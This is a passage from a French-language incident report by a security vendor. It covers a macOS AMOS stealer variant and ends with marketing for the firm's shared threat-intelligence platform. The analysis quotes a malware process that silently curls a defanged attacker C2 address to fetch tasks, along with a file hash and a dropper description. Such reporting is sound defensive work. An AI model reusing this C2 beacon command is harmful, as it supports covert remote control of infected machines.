
L'incident ne s'est pas arrêté à la compromission initiale. La télémétrie de Microsoft Defender a révélé un processus lancé depuis /Users/<redacted>/.mainhelper, qui interrogeait un serveur externe :

sh -c "curl -s 'http[:]//45.94.47[.]204/api/tasks/*********************'"

Une fois décodée, la chaîne Base64 donnait un UUID d'appareil de 16 octets, l'identifiant unique que l'infrastructure C2 de l'attaquant avait attribué à cet appareil le jour de l'infection initiale.

Le binaire .mainhelper (SHA-256 : 7c6766e2b05dfbb286a1ba48ff3e766d4507254e217e8cb77343569153d63063) avait été installé le jour de l'incident par le dropper osascript, via ditto.


La force du bouclier collectif : notre plateforme Shared Threat Intelligence

Lorsqu'une alerte se déclenche dans notre SOC, le compte à rebours ne commence pas seulement pour le client concerné, mais pour chaque organisation placée sous la protection de glueckkanja. Cette investigation sur une variante non documentée d'AMOS montre concrètement ce que signifie l'Intelligence Gap : une fenêtre de temps dangereuse pendant laquelle les fournisseurs classiques sont aveugles, parce qu'ils n'ont pas encore vu la menace.

C'est là que notre Shared Threat Intelligence Platform propriétaire, développée exclusivement pour les clients du CSOC glueckkanja, montre sa valeur. Nous n'attendons pas les mises à jour du secteur, nous les produisons. Pendant que nos analystes démontaient encore les dernières couches de l'assembleur ARM64, notre Automated Orchestration Engine distribuait déjà les indicateurs extraits dans tout notre écosystème. Il en résulte une immunité collective : ce qui est découvert sur un seul endpoint devient en quelques minutes une menace bloquée pour chaque organisation que nous protégeons.

Une sécurité réactive ne fonctionne pas contre des menaces conçues pour se glisser dans les failles des mécanismes de défense conventionnels. La réponse tient dans l'association de l'expertise humaine et d'une architecture qui met ce savoir en œuvre immédiatement et à grande échelle. Avec notre modèle de Shared Intelligence, l'avantage de temps de l'attaquant s'inverse : nos clients sont protégés avant même que le secteur n'ait identifié la menace.

Note sur la protection des données

Les informations permettant une identification ont été anonymisées dans cette publication. Certains détails techniques, indicateurs et horodatages peuvent avoir été légèrement modifiés afin de garantir la protection continue de l'environnement concerné, sans compromettre l'intégrité technique de l'analyse.

Les analyses techniques et les Indicators of Compromise (IOC) de ce rapport sont fournis exclusivement à titre d'information et de formation, en l'état de nos connaissances. glueckkanja AG n'offre aucune garantie, expresse ou implicite, quant à leur exhaustivité ou à leur exactitude, et décline toute responsabilité pour les dommages, pertes ou incidents de sécurité résultant de l'utilisation des informations, règles ou signatures partagées ici. Nous recommandons de valider tous les indicateurs et toutes les règles dans un environnement contrôlé avant de les déployer.

Les indicateurs et techniques décrits peuvent recouper des familles de malware connues et ne sont pas attribuables exclusivement à une campagne en particulier.

Contacte-nous

Si tu veux savoir comment notre Shared Threat Intelligence Platform te protège contre des variantes de malware inconnues avant même que le secteur n'en ait connaissance, parlons-en.
Portrait de Jan Geisbauer, Head of Security chez glueckkanja
Le danger de cette variante ne tenait pas à sa complexité technique, aussi impressionnante soit-elle. Le danger, c'était la fenêtre de temps. Sans Shared Threat Intelligence, nos autres clients seraient restés sans protection pendant des heures, le temps que nous terminions l'analyse.
Jan GeisbauerHead of Security

Ähnliche Artikel